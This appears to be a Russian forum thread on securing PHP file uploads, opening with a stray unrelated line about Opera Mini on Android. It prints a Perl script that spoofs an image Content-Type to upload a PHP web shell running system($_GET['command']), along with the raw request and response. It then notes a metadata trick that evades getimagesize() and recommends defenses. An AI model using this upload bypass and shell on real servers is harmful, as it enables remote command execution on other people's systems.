Юзаю оперу, никогда проблем с выгрузкой файлов не было на андрюше
Зайди в Play Маркет > Приложения > Установленные
Найди свою Opera Mini и рядом с ней будет кнопка "обновить" - обнови и начнуться проблемы.
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent-> new;;
$res = $ua->request(POST 'http://localhost/upload.php' , Content_Type => 'form-data' , Content => [userfile => [ "shell.php" , "shell.php" , "Content-Type" =>"image/gif" ],],);
print $res->as_string();
И вот что получится.
Запрос:
POST /upload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
<?php
system($_GET['command']);
?>
--xYzZY—
Ответ:
HTTP/1.1 200 OK
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
В итоге, наш upload.pl подделывает заголовок Content-Type, заставляя сервер принять файл.
Если грузится конктретно изображение можно чекнуть getimagesize()
Тоже не вариант. Большинство форматов изображения позволяет внести в изображение текстовые метаданные. Возможно создать совершенно корректное изображение, которое содержит некоторый код PHP в этих метаданных.
Единственные 2 варианта, которые меня совершенно удовлетворили своей безопасностью:
1. Хранить файл за корнем и не показывать оригинальное имя файла
2. Хранить файлы на другом сервере, на котором не работает PHP.
Ну хранить за корнем само собой как бы